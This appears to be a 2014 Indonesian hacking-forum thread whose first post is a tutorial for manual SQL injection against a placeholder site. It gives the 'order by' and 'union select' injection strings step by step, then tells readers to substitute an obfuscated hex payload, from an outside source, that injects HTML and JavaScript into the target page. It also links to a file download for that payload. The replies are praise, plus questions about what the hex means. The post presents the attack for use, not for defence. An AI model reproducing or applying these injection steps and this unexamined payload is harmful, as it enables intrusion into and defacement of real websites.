[Share] An Ultimate Combination of HTML+JavaScript+SQLi
#1
Assalamualaikum
mau sharing nih, dapat dari teman di luar negeri Big Grin
[hide]
langsung aja
http://target.co.uk/node.php?id=16

main sqli manual tp gak seribet kemaren broo

langsung aja cari kolom nya
target.co.uk/node.php?id=16 order by 5-- << Unknown column '5' in 'order clause'
berarti ada 4 doang kolom
Spoiler! :
[Image: 149uwix.png]

lanjut kita cari angka ajaib nya Big Grin
target.co.uk/node.php?id=16 union select 1,2,3,4--
Spoiler! :
[Image: ip30cz.png]

lanjut liat versi berapa dia
target.co.uk/node.php?id=16 union select 1,2,3,version()--
Spoiler! :
[Image: 1zb9nv6.png]

lanjut aja ni dapat dari teman di pakistan Big Grin

kita ganti tulisan version() dengan code mereka
Spoiler! :
[Image: 1vyn8.png]

terus kita tuliskan nama kita di kolom
Spoiler! :
[Image: 2i6lvz8.png]

kalo udah di tulis nama kita

kita masukkan tadi url target.co.uk/node.php?id=16 union select 1,2,3,4--
angka 4 nya di ganti dengan "makman" kerna itu pembuat nya Big Grin
jadi begini
target.co.uk/node.php?id=16 union select 1,2,3,makman--
Spoiler! :
[Image: 2ccxldi.png]

kalo udah klik OK
nah bisa di lihat kan di gambar
Spoiler! :
[Image: 2e0jnky.png]

selanjut nya terserah anda mau explorer lebih jauh lagi


code nyaa download disni
https://www.mediafire.com/?7oyqp4825903493
[/hide]

sampai disini aja ya moga bermanfaat
ada kodok teroret teroret dipinggir kali terorret teroret mencari makan teroret teroret setiap pagi teroret teroret

visit: http://warungiso.blogspot.com/

I was not smart or special but I was unix

#2
keren kk guru ntar ane coba2 ya Big Grin btw maksud dari kodenya itu apaan ya :/ bisa tolong terjemahin ?

#3
keren om, tapi itu hexanya kalau di decrypt apa ya Big Grin Big Grin

#4
@abdilahrf pas ane liat tadi ada html nya
tp belum smua ane liat Big Grin
ada kodok teroret teroret dipinggir kali terorret teroret mencari makan teroret teroret setiap pagi teroret teroret

visit: http://warungiso.blogspot.com/

I was not smart or special but I was unix

#5
wuuiih makin mantep nih pak dokter Big Grin lanjutkan pak ...

#6
Widihhhhhh ajib, lanjutkan pak dokter Big Grin


#7
pak doctor makin cakep maen sqli nya Big Grin
lanjut pak yg keren-keren lagi +1

#8
(02-11-2014, 03:32 PM)[H2] Wrote: pak doctor makin cakep maen sqli nya Big Grin
lanjut pak yg keren-keren lagi +1

huhuhu makasih pak +1 nya
masih banyak belajar lagi nih pak
ada kodok teroret teroret dipinggir kali terorret teroret mencari makan teroret teroret setiap pagi teroret teroret

visit: http://warungiso.blogspot.com/

I was not smart or special but I was unix






Users browsing this thread: 1 Guest(s)